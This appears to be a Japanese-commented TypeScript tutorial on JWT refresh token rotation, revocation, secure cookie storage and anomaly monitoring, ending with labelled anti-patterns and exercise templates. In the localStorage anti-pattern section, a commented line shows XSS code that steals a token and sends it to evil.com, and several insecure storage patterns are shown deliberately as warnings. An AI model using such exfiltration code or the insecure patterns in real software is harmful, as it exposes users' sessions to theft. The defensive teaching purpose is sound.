// トークン発行の完全実装
import { SignJWT, jwtVerify } from 'jose';
import crypto from 'crypto';
 
// 鍵の設定
const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET!);
const AT_EXPIRY = '15m';
const RT_EXPIRY_MS = 7 * 24 * 60 * 60 * 1000; // 7日
 
// トークンのハッシュ関数
function hashToken(token: string): string {
  return crypto.createHash('sha256').update(token).digest('hex');
}
 
// Access Token の発行
async function issueAccessToken(userId: string, role: string): Promise<string> {
  return new SignJWT({
    sub: userId,
    role,
    type: 'access',
  })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime(AT_EXPIRY)
    .setJti(crypto.randomUUID()) // 一意の識別子
    .sign(JWT_SECRET);
}
 
// Refresh Token の発行
function issueRefreshToken(): string {
  return crypto.randomBytes(32).toString('hex');
}
 
// ログイン時のトークンペア発行
async function createTokenPair(userId: string, role: string) {
  const familyId = crypto.randomUUID();
  const accessToken = await issueAccessToken(userId, role);
  const refreshToken = issueRefreshToken();
 
  // RT はハッシュ化して DB に保存
  await db.refreshToken.create({
    data: {
      token: hashToken(refreshToken),
      userId,
      familyId,
      expiresAt: new Date(Date.now() + RT_EXPIRY_MS),
    },
  });
 
  return { accessToken, refreshToken, familyId };
}
 
// Access Token の検証
async function verifyAccessToken(token: string) {
  try {
    const { payload } = await jwtVerify(token, JWT_SECRET);
    if (payload.type !== 'access') {
      throw new Error('Invalid token type');
    }
    return payload;
  } catch (error) {
    throw new AuthError('Invalid or expired access token');
  }
}

// Refresh Token Rotation の実装
interface RefreshTokenRecord {
  id: string;
  token: string;         // ハッシュ化済み
  userId: string;
  familyId: string;      // トークンファミリー
  expiresAt: Date;
  usedAt: Date | null;   // 使用済みフラグ
  replacedBy: string | null; // 後継トークンのハッシュ
  createdAt: Date;
  ipAddress: string | null;
  userAgent: string | null;
}
 
class TokenRotationService {
  constructor(
    private db: PrismaClient,
    private logger: Logger
  ) {}
 
  // トークンリフレッシュ（Rotation 付き）
  async refreshTokens(
    refreshToken: string,
    clientInfo: { ip: string; userAgent: string }
  ) {
    const hashedToken = hashToken(refreshToken);
 
    // 現在の RT を検索
    const currentRT = await this.db.refreshToken.findUnique({
      where: { token: hashedToken },
      include: { user: true },
    });
 
    // 存在しない RT
    if (!currentRT) {
      this.logger.warn('Unknown refresh token used', { hashedToken });
      throw new AuthError('Invalid refresh token');
    }
 
    // 期限切れチェック
    if (currentRT.expiresAt < new Date()) {
      this.logger.info('Expired refresh token used', {
        userId: currentRT.userId,
        familyId: currentRT.familyId,
      });
      throw new AuthError('Refresh token expired');
    }
 
    // ★ 再利用検知（最重要セキュリティチェック）
    if (currentRT.usedAt) {
      this.logger.error('Refresh token reuse detected!', {
        userId: currentRT.userId,
        familyId: currentRT.familyId,
        originalUseTime: currentRT.usedAt,
        reuseTime: new Date(),
      });
 
      // トークンファミリー全体を無効化
      await this.db.refreshToken.deleteMany({
        where: { familyId: currentRT.familyId },
      });
 
      // セキュリティアラートを送信
      await this.notifyTokenReuse(currentRT.userId, clientInfo);
 
      throw new AuthError('Refresh token reuse detected - all sessions revoked');
    }
 
    // 新しいトークンペアを生成
    const newAccessToken = await issueAccessToken(
      currentRT.userId,
      currentRT.user.role
    );
    const newRefreshToken = issueRefreshToken();
    const hashedNewRT = hashToken(newRefreshToken);
 
    // トランザクションで原子的に更新
    await this.db.$transaction([
      // 現在の RT を使用済みにマーク
      this.db.refreshToken.update({
        where: { id: currentRT.id },
        data: {
          usedAt: new Date(),
          replacedBy: hashedNewRT,
        },
      }),
      // 新しい RT を作成
      this.db.refreshToken.create({
        data: {
          token: hashedNewRT,
          userId: currentRT.userId,
          familyId: currentRT.familyId, // 同じファミリー
          expiresAt: new Date(Date.now() + RT_EXPIRY_MS),
          ipAddress: clientInfo.ip,
          userAgent: clientInfo.userAgent,
        },
      }),
    ]);
 
    this.logger.info('Token rotation completed', {
      userId: currentRT.userId,
      familyId: currentRT.familyId,
    });
 
    return {
      accessToken: newAccessToken,
      refreshToken: newRefreshToken,
    };
  }
 
  // セキュリティアラート通知
  private async notifyTokenReuse(
    userId: string,
    clientInfo: { ip: string; userAgent: string }
  ) {
    const user = await this.db.user.findUnique({ where: { id: userId } });
    if (!user?.email) return;
 
    await sendEmail({
      to: user.email,
      subject: 'セキュリティアラート: 不審なトークン使用を検知',
      html: `
        <h2>不審なアクティビティを検知しました</h2>
        <p>あなたのアカウントのリフレッシュトークンが再利用されました。</p>
        <p>安全のため、全セッションを無効化しました。</p>
        <p><strong>IP:</strong> ${clientInfo.ip}</p>
        <p><strong>User-Agent:</strong> ${clientInfo.userAgent}</p>
        <p>再度ログインしてください。心当たりがない場合はパスワードを変更してください。</p>
      `,
    });
  }
}

// Token Family の可視化と管理
class TokenFamilyManager {
  constructor(private db: PrismaClient) {}
 
  // ユーザーのアクティブなセッション一覧
  async getActiveSessions(userId: string) {
    // 各ファミリーの最新 RT を取得
    const latestTokens = await this.db.refreshToken.findMany({
      where: {
        userId,
        usedAt: null, // 未使用（= アクティブ）
        expiresAt: { gt: new Date() }, // 未期限切れ
      },
      orderBy: { createdAt: 'desc' },
      select: {
        familyId: true,
        createdAt: true,
        ipAddress: true,
        userAgent: true,
        expiresAt: true,
      },
    });
 
    return latestTokens.map((t) => ({
      sessionId: t.familyId,
      createdAt: t.createdAt,
      ipAddress: t.ipAddress,
      device: parseUserAgent(t.userAgent),
      expiresAt: t.expiresAt,
    }));
  }
 
  // 特定セッションの無効化（ログアウト）
  async revokeSession(userId: string, familyId: string) {
    const deleted = await this.db.refreshToken.deleteMany({
      where: { userId, familyId },
    });
 
    return { revokedCount: deleted.count };
  }
 
  // 全セッションの無効化（パスワード変更時など）
  async revokeAllSessions(userId: string, exceptFamilyId?: string) {
    const where: any = { userId };
    if (exceptFamilyId) {
      where.familyId = { not: exceptFamilyId };
    }
 
    const deleted = await this.db.refreshToken.deleteMany({ where });
    return { revokedCount: deleted.count };
  }
 
  // 期限切れトークンのクリーンアップ（定期バッチ）
  async cleanupExpiredTokens() {
    const deleted = await this.db.refreshToken.deleteMany({
      where: {
        OR: [
          { expiresAt: { lt: new Date() } },
          // 使用済みで7日以上経過（監査ログとして一定期間保持）
          {
            usedAt: { not: null },
            usedAt: { lt: new Date(Date.now() - 7 * 24 * 60 * 60 * 1000) },
          },
        ],
      },
    });
 
    return { cleanedCount: deleted.count };
  }
}

// Axios インターセプターによる自動リフレッシュ（完全実装）
import axios, { AxiosError, AxiosRequestConfig, InternalAxiosRequestConfig } from 'axios';
 
const api = axios.create({
  baseURL: '/api',
  withCredentials: true, // Cookie を自動送信
});
 
// リフレッシュ状態の管理
let isRefreshing = false;
let failedQueue: Array<{
  resolve: (value?: unknown) => void;
  reject: (error: unknown) => void;
}> = [];
 
// キューに溜まったリクエストを処理
function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error);
    } else {
      resolve(token);
    }
  });
  failedQueue = [];
}
 
// レスポンスインターセプター
api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & { _retry?: boolean };
 
    // 401 以外のエラー、またはリトライ済みの場合はそのまま返す
    if (error.response?.status !== 401 || originalRequest._retry) {
      return Promise.reject(error);
    }
 
    // リフレッシュエンドポイント自体の失敗は再試行しない
    if (originalRequest.url === '/auth/refresh') {
      return Promise.reject(error);
    }
 
    // 既にリフレッシュ中なら待機キューに入れる
    if (isRefreshing) {
      return new Promise((resolve, reject) => {
        failedQueue.push({ resolve, reject });
      }).then(() => api(originalRequest));
    }
 
    originalRequest._retry = true;
    isRefreshing = true;
 
    try {
      // トークンリフレッシュ（Cookie ベースなら自動送信）
      await api.post('/auth/refresh');
 
      // キューのリクエストを再実行
      processQueue(null, null);
 
      // 元のリクエストを再実行
      return api(originalRequest);
    } catch (refreshError) {
      // リフレッシュ失敗 → 全てのリクエストを失敗させる
      processQueue(refreshError, null);
 
      // ログインページへリダイレクト
      window.location.href = '/login?reason=session_expired';
      return Promise.reject(refreshError);
    } finally {
      isRefreshing = false;
    }
  }
);
 
export default api;

// fetch API ベースのリフレッシュ実装
class AuthenticatedFetch {
  private refreshPromise: Promise<void> | null = null;
 
  async request(url: string, options: RequestInit = {}): Promise<Response> {
    const response = await fetch(url, {
      ...options,
      credentials: 'include', // Cookie 送信
    });
 
    if (response.status === 401) {
      // リフレッシュを試みる
      await this.refresh();
 
      // 元のリクエストを再試行
      const retryResponse = await fetch(url, {
        ...options,
        credentials: 'include',
      });
 
      if (retryResponse.status === 401) {
        // リフレッシュ後も 401 → ログアウト
        this.handleSessionExpired();
        throw new Error('Session expired');
      }
 
      return retryResponse;
    }
 
    return response;
  }
 
  private async refresh(): Promise<void> {
    // 同時に複数のリフレッシュが走らないようにする
    if (this.refreshPromise) {
      return this.refreshPromise;
    }
 
    this.refreshPromise = fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    }).then((res) => {
      if (!res.ok) {
        throw new Error('Refresh failed');
      }
    }).finally(() => {
      this.refreshPromise = null;
    });
 
    return this.refreshPromise;
  }
 
  private handleSessionExpired(): void {
    // セッション切れのイベントを発火
    window.dispatchEvent(new CustomEvent('session-expired'));
    window.location.href = '/login?reason=session_expired';
  }
}
 
export const authenticatedFetch = new AuthenticatedFetch();

// React Hook: セッション状態管理
import { useEffect, useCallback, useRef } from 'react';
 
function useTokenRefresh() {
  const timerRef = useRef<NodeJS.Timeout | null>(null);
 
  // AT の残り時間を計算して自動リフレッシュ
  const scheduleRefresh = useCallback((expiresIn: number) => {
    if (timerRef.current) {
      clearTimeout(timerRef.current);
    }
 
    // 有効期限の 80% が経過したらリフレッシュ
    const refreshTime = expiresIn * 0.8 * 1000;
 
    timerRef.current = setTimeout(async () => {
      try {
        const res = await fetch('/api/auth/refresh', {
          method: 'POST',
          credentials: 'include',
        });
 
        if (res.ok) {
          const data = await res.json();
          scheduleRefresh(data.expiresIn); // 次のリフレッシュをスケジュール
        } else {
          // リフレッシュ失敗
          window.dispatchEvent(new CustomEvent('session-expired'));
        }
      } catch (error) {
        console.error('Token refresh failed:', error);
      }
    }, refreshTime);
  }, []);
 
  // コンポーネントのクリーンアップ
  useEffect(() => {
    return () => {
      if (timerRef.current) {
        clearTimeout(timerRef.current);
      }
    };
  }, []);
 
  return { scheduleRefresh };
}

// Redis を使ったトークンブラックリスト
import Redis from 'ioredis';
 
class TokenBlacklist {
  private redis: Redis;
  private prefix = 'token:blacklist:';
 
  constructor(redisUrl: string) {
    this.redis = new Redis(redisUrl);
  }
 
  // トークンをブラックリストに追加
  async revoke(jti: string, expiresAt: Date): Promise<void> {
    const ttl = Math.max(
      0,
      Math.ceil((expiresAt.getTime() - Date.now()) / 1000)
    );
 
    if (ttl > 0) {
      // AT の有効期限まで保持（それ以降は自動削除）
      await this.redis.setex(`${this.prefix}${jti}`, ttl, '1');
    }
  }
 
  // ユーザーの全トークンを一括失効
  async revokeAllForUser(userId: string): Promise<void> {
    // Token Version の方がユーザー単位の一括失効に適している
    // ブラックリストは個別トークンの失効に使う
    await this.redis.setex(
      `${this.prefix}user:${userId}`,
      900, // 15分（AT の最大有効期限）
      Date.now().toString()
    );
  }
 
  // トークンが失効済みかチェック
  async isRevoked(jti: string, userId: string, issuedAt: number): Promise<boolean> {
    // 個別トークンのチェック
    const tokenRevoked = await this.redis.exists(`${this.prefix}${jti}`);
    if (tokenRevoked) return true;
 
    // ユーザー単位の一括失効チェック
    const userRevokedAt = await this.redis.get(`${this.prefix}user:${userId}`);
    if (userRevokedAt && issuedAt < parseInt(userRevokedAt)) {
      return true;
    }
 
    return false;
  }
}
 
// ブラックリスト付きの AT 検証
const blacklist = new TokenBlacklist(process.env.REDIS_URL!);
 
async function verifyAccessTokenWithBlacklist(token: string) {
  const payload = await verifyAccessToken(token);
 
  const isRevoked = await blacklist.isRevoked(
    payload.jti as string,
    payload.sub as string,
    payload.iat as number
  );
 
  if (isRevoked) {
    throw new AuthError('Token has been revoked');
  }
 
  return payload;
}

// Token Version による失効
async function issueAccessTokenWithVersion(userId: string): Promise<string> {
  const user = await db.user.findUnique({
    where: { id: userId },
    select: { role: true, tokenVersion: true },
  });
 
  if (!user) throw new AuthError('User not found');
 
  return new SignJWT({
    sub: userId,
    role: user.role,
    token_version: user.tokenVersion, // バージョンを含める
    type: 'access',
  })
    .setProtectedHeader({ alg: 'ES256' })
    .setIssuedAt()
    .setExpirationTime('15m')
    .setJti(crypto.randomUUID())
    .sign(privateKey);
}
 
// 検証時にバージョンをチェック
async function verifyWithTokenVersion(token: string) {
  const { payload } = await jwtVerify(token, publicKey);
 
  // DB からユーザーの現在のバージョンを取得
  const user = await db.user.findUnique({
    where: { id: payload.sub as string },
    select: { tokenVersion: true, active: true },
  });
 
  if (!user) {
    throw new AuthError('User not found');
  }
 
  if (!user.active) {
    throw new AuthError('User account is deactivated');
  }
 
  // バージョン不一致 → 失効済み
  if (user.tokenVersion !== payload.token_version) {
    throw new AuthError('Token has been revoked (version mismatch)');
  }
 
  return payload;
}
 
// パスワード変更時: 全トークンを無効化
async function changePassword(userId: string, newPassword: string) {
  const hashedPassword = await bcrypt.hash(newPassword, 12);
 
  await db.$transaction([
    // パスワード更新 + バージョンインクリメント
    db.user.update({
      where: { id: userId },
      data: {
        password: hashedPassword,
        tokenVersion: { increment: 1 }, // バージョンを上げる
      },
    }),
    // Refresh Token も全削除
    db.refreshToken.deleteMany({ where: { userId } }),
  ]);
}
 
// 権限変更時
async function updateUserRole(userId: string, newRole: string) {
  await db.user.update({
    where: { id: userId },
    data: {
      role: newRole,
      tokenVersion: { increment: 1 }, // 権限変更もバージョンアップ
    },
  });
 
  // RT も全削除して再ログインを要求
  await db.refreshToken.deleteMany({ where: { userId } });
}

// ユーザーのリスクレベルに応じた動的な有効期限
interface TokenExpiryConfig {
  accessTokenTTL: number; // 秒
  refreshTokenTTL: number; // ミリ秒
}
 
function getTokenExpiry(context: {
  user: { role: string; mfaEnabled: boolean };
  request: { ip: string; userAgent: string };
  org?: { sessionPolicy?: string };
}): TokenExpiryConfig {
  // 組織のポリシーが最優先
  if (context.org?.sessionPolicy === 'strict') {
    return {
      accessTokenTTL: 5 * 60,       // 5分
      refreshTokenTTL: 60 * 60 * 1000, // 1時間
    };
  }
 
  // 管理者は短めの有効期限
  if (context.user.role === 'admin' || context.user.role === 'super_admin') {
    return {
      accessTokenTTL: 10 * 60,       // 10分
      refreshTokenTTL: 24 * 60 * 60 * 1000, // 1日
    };
  }
 
  // MFA が有効な場合はやや長め（セキュリティが強化されているため）
  if (context.user.mfaEnabled) {
    return {
      accessTokenTTL: 30 * 60,       // 30分
      refreshTokenTTL: 14 * 24 * 60 * 60 * 1000, // 14日
    };
  }
 
  // デフォルト
  return {
    accessTokenTTL: 15 * 60,        // 15分
    refreshTokenTTL: 7 * 24 * 60 * 60 * 1000, // 7日
  };
}

// 安全な Cookie 設定
import { NextResponse } from 'next/server';
 
function setTokenCookies(
  response: NextResponse,
  tokens: { accessToken: string; refreshToken: string }
) {
  const isProduction = process.env.NODE_ENV === 'production';
 
  // Access Token Cookie
  response.cookies.set('access_token', tokens.accessToken, {
    httpOnly: true,      // JavaScript からアクセス不可
    secure: isProduction, // HTTPS のみ（本番環境）
    sameSite: 'lax',     // CSRF 対策
    path: '/api',         // API エンドポイントのみで送信
    maxAge: 15 * 60,      // 15分
  });
 
  // Refresh Token Cookie
  response.cookies.set('refresh_token', tokens.refreshToken, {
    httpOnly: true,
    secure: isProduction,
    sameSite: 'strict',   // より厳格な CSRF 対策
    path: '/api/auth',     // 認証エンドポイントのみで送信
    maxAge: 7 * 24 * 60 * 60, // 7日
  });
 
  return response;
}
 
// Cookie からトークンを削除（ログアウト時）
function clearTokenCookies(response: NextResponse) {
  response.cookies.set('access_token', '', {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    path: '/api',
    maxAge: 0,
  });
 
  response.cookies.set('refresh_token', '', {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    path: '/api/auth',
    maxAge: 0,
  });
 
  return response;
}

// React Native: Secure Storage の使用
import * as SecureStore from 'expo-secure-store';
 
class SecureTokenStorage {
  private static readonly AT_KEY = 'access_token';
  private static readonly RT_KEY = 'refresh_token';
 
  // トークンの保存（暗号化ストレージ）
  static async saveTokens(tokens: {
    accessToken: string;
    refreshToken: string;
  }): Promise<void> {
    await Promise.all([
      SecureStore.setItemAsync(this.AT_KEY, tokens.accessToken, {
        keychainAccessible: SecureStore.WHEN_UNLOCKED_THIS_DEVICE_ONLY,
      }),
      SecureStore.setItemAsync(this.RT_KEY, tokens.refreshToken, {
        keychainAccessible: SecureStore.WHEN_UNLOCKED_THIS_DEVICE_ONLY,
      }),
    ]);
  }
 
  // トークンの取得
  static async getAccessToken(): Promise<string | null> {
    return SecureStore.getItemAsync(this.AT_KEY);
  }
 
  static async getRefreshToken(): Promise<string | null> {
    return SecureStore.getItemAsync(this.RT_KEY);
  }
 
  // トークンの削除（ログアウト時）
  static async clearTokens(): Promise<void> {
    await Promise.all([
      SecureStore.deleteItemAsync(this.AT_KEY),
      SecureStore.deleteItemAsync(this.RT_KEY),
    ]);
  }
}

// トークン使用の監視と異常検知
class TokenMonitor {
  constructor(
    private redis: Redis,
    private logger: Logger,
    private alertService: AlertService
  ) {}
 
  // リフレッシュイベントを記録
  async recordRefresh(userId: string, metadata: {
    ip: string;
    userAgent: string;
    familyId: string;
    timestamp: Date;
  }) {
    const key = `token:refresh:${userId}`;
 
    // 直近のリフレッシュ履歴を Redis のソート済みセットに保存
    await this.redis.zadd(
      key,
      metadata.timestamp.getTime(),
      JSON.stringify(metadata)
    );
 
    // 1時間以上前のエントリを削除
    await this.redis.zremrangebyscore(
      key,
      '-inf',
      Date.now() - 60 * 60 * 1000
    );
 
    // 異常パターンをチェック
    await this.checkAnomalies(userId, metadata);
  }
 
  private async checkAnomalies(userId: string, current: {
    ip: string;
    userAgent: string;
    familyId: string;
    timestamp: Date;
  }) {
    const key = `token:refresh:${userId}`;
 
    // 1. リフレッシュ頻度チェック（5分以内に3回以上）
    const recentCount = await this.redis.zcount(
      key,
      Date.now() - 5 * 60 * 1000,
      '+inf'
    );
 
    if (recentCount >= 3) {
      this.logger.warn('High refresh frequency detected', {
        userId,
        count: recentCount,
        window: '5m',
      });
    }
 
    // 2. 同時セッション数チェック
    const activeSessions = await this.redis.scard(`active_sessions:${userId}`);
    if (activeSessions > 10) {
      this.alertService.send({
        severity: 'high',
        type: 'excessive_sessions',
        userId,
        message: `User has ${activeSessions} active sessions`,
      });
    }
 
    // 3. 地理的異常チェック（Impossible Travel）
    const lastRefresh = await this.getLastRefresh(userId);
    if (lastRefresh && lastRefresh.ip !== current.ip) {
      const timeDiff = current.timestamp.getTime() -
        new Date(lastRefresh.timestamp).getTime();
      const distance = await this.calculateGeoDistance(
        lastRefresh.ip,
        current.ip
      );
 
      // 1時間以内に1000km以上の移動は不可能
      if (timeDiff < 60 * 60 * 1000 && distance > 1000) {
        this.alertService.send({
          severity: 'critical',
          type: 'impossible_travel',
          userId,
          message: `Impossible travel detected: ${distance}km in ${timeDiff / 1000}s`,
          metadata: { fromIp: lastRefresh.ip, toIp: current.ip },
        });
      }
    }
  }
 
  private async getLastRefresh(userId: string) {
    const key = `token:refresh:${userId}`;
    const entries = await this.redis.zrevrange(key, 1, 1);
    return entries[0] ? JSON.parse(entries[0]) : null;
  }
 
  private async calculateGeoDistance(ip1: string, ip2: string): Promise<number> {
    // GeoIP ルックアップ（MaxMind GeoLite2 など）
    // 簡略化のため省略
    return 0;
  }
}

// トークン操作の監査ログ
interface TokenAuditLog {
  id: string;
  userId: string;
  action: 'token_issued' | 'token_refreshed' | 'token_revoked' |
          'token_reuse_detected' | 'all_tokens_revoked' | 'session_expired';
  familyId?: string;
  ipAddress: string;
  userAgent: string;
  metadata?: Record<string, unknown>;
  createdAt: Date;
}
 
class TokenAuditService {
  constructor(private db: PrismaClient) {}
 
  async log(entry: Omit<TokenAuditLog, 'id' | 'createdAt'>) {
    await this.db.tokenAuditLog.create({
      data: {
        ...entry,
        metadata: entry.metadata ? JSON.stringify(entry.metadata) : null,
      },
    });
  }
 
  // ユーザーのトークンアクティビティ一覧
  async getUserActivity(userId: string, options: {
    limit?: number;
    offset?: number;
    action?: string;
  } = {}) {
    return this.db.tokenAuditLog.findMany({
      where: {
        userId,
        ...(options.action ? { action: options.action } : {}),
      },
      orderBy: { createdAt: 'desc' },
      take: options.limit ?? 50,
      skip: options.offset ?? 0,
    });
  }
 
  // 不審なアクティビティの検索
  async findSuspiciousActivity(timeWindow: number = 24 * 60 * 60 * 1000) {
    const since = new Date(Date.now() - timeWindow);
 
    return this.db.tokenAuditLog.groupBy({
      by: ['userId', 'action'],
      where: {
        action: { in: ['token_reuse_detected', 'all_tokens_revoked'] },
        createdAt: { gte: since },
      },
      _count: true,
      orderBy: { _count: { action: 'desc' } },
    });
  }
}

// Next.js API Route: /api/auth/refresh
import { NextRequest, NextResponse } from 'next/server';
 
const tokenService = new TokenRotationService(prisma, logger);
const auditService = new TokenAuditService(prisma);
 
export async function POST(request: NextRequest) {
  // Refresh Token を Cookie から取得
  const refreshToken = request.cookies.get('refresh_token')?.value;
 
  if (!refreshToken) {
    return NextResponse.json(
      { error: 'Refresh token not found' },
      { status: 401 }
    );
  }
 
  const clientInfo = {
    ip: request.headers.get('x-forwarded-for') ||
        request.headers.get('x-real-ip') ||
        'unknown',
    userAgent: request.headers.get('user-agent') || 'unknown',
  };
 
  try {
    // トークンリフレッシュ（Rotation 付き）
    const tokens = await tokenService.refreshTokens(refreshToken, clientInfo);
 
    // 監査ログ
    const payload = await verifyAccessToken(tokens.accessToken);
    await auditService.log({
      userId: payload.sub as string,
      action: 'token_refreshed',
      ipAddress: clientInfo.ip,
      userAgent: clientInfo.userAgent,
    });
 
    // 新しいトークンを Cookie にセット
    const response = NextResponse.json({
      expiresIn: 900, // 15分（秒）
    });
 
    return setTokenCookies(response, tokens);
  } catch (error) {
    if (error instanceof AuthError) {
      // 失敗時は Cookie をクリア
      const response = NextResponse.json(
        { error: error.message },
        { status: 401 }
      );
      return clearTokenCookies(response);
    }
    throw error;
  }
}

// NG: localStorage にトークンを保存
// XSS 攻撃でトークンが盗まれる
 
// ✗ 危険なパターン
function loginBad(credentials: { email: string; password: string }) {
  fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify(credentials),
  })
    .then((res) => res.json())
    .then((data) => {
      // NG: localStorage に保存
      localStorage.setItem('accessToken', data.accessToken);
      localStorage.setItem('refreshToken', data.refreshToken);
    });
}
 
// XSS 攻撃者のコード（localStorage を読む）
// 攻撃者が XSS を仕掛けた場合:
// const stolen = localStorage.getItem('accessToken');
// fetch('https://evil.com/steal', { body: stolen });
 
// ✓ 安全なパターン: HttpOnly Cookie
async function loginGood(credentials: { email: string; password: string }) {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(credentials),
    credentials: 'include', // Cookie を受け取る
  });
 
  if (res.ok) {
    // トークンは HttpOnly Cookie に自動保存される
    // JavaScript からはアクセスできない（XSS 耐性）
    window.location.href = '/dashboard';
  }
}

// NG: RT を再利用し続ける
async function refreshBad(refreshToken: string) {
  const user = await validateRefreshToken(refreshToken);
 
  // NG: 同じ RT をそのまま再利用
  const newAccessToken = await issueAccessToken(user.id, user.role);
  return { accessToken: newAccessToken, refreshToken }; // 同じ RT
}
// RT が漏洩した場合、攻撃者が永久に AT を取得可能
 
// ✓ OK: RT Rotation で毎回新しい RT を発行
async function refreshGood(refreshToken: string) {
  // 使用済みチェック、ファミリー管理を含む完全な Rotation
  return tokenService.refreshTokens(refreshToken, clientInfo);
}

// NG: クエリパラメータにトークンを含める
// → ブラウザ履歴、サーバーログ、Referrer ヘッダーで漏洩
 
// ✗ 危険
const url = `https://api.example.com/data?token=${accessToken}`;
// アクセスログ: GET /data?token=eyJhbGci... が記録される
 
// ✓ 安全: Authorization ヘッダーまたは Cookie で送信
const response = await fetch('https://api.example.com/data', {
  headers: {
    Authorization: `Bearer ${accessToken}`,
  },
});

// NG: 平文で DB に保存
await db.refreshToken.create({
  data: {
    token: refreshToken, // ✗ 平文
    userId,
  },
});
// DB が漏洩した場合、全ユーザーのセッションが乗っ取られる
 
// ✓ OK: ハッシュ化して保存
await db.refreshToken.create({
  data: {
    token: hashToken(refreshToken), // ✓ SHA-256 ハッシュ
    userId,
  },
});

// テンプレート
class SimpleTokenRotation {
  // ログイン時のトークン発行
  async login(userId: string): Promise<{ accessToken: string; refreshToken: string }> {
    // TODO: 実装してください
    throw new Error('Not implemented');
  }
 
  // トークンリフレッシュ
  async refresh(refreshToken: string): Promise<{ accessToken: string; refreshToken: string }> {
    // TODO: 実装してください
    throw new Error('Not implemented');
  }
 
  // ログアウト
  async logout(refreshToken: string): Promise<void> {
    // TODO: 実装してください
    throw new Error('Not implemented');
  }
}

// テンプレート
class HybridRevocation {
  // 通常ログアウト
  async logout(userId: string, familyId: string): Promise<void> {
    // TODO
  }
 
  // パスワード変更
  async onPasswordChange(userId: string): Promise<void> {
    // TODO
  }
 
  // 即時失効（セキュリティインシデント）
  async emergencyRevoke(userId: string): Promise<void> {
    // TODO
  }
 
  // トークン検証（3層チェック）
  async verifyToken(token: string): Promise<any> {
    // TODO
  }
}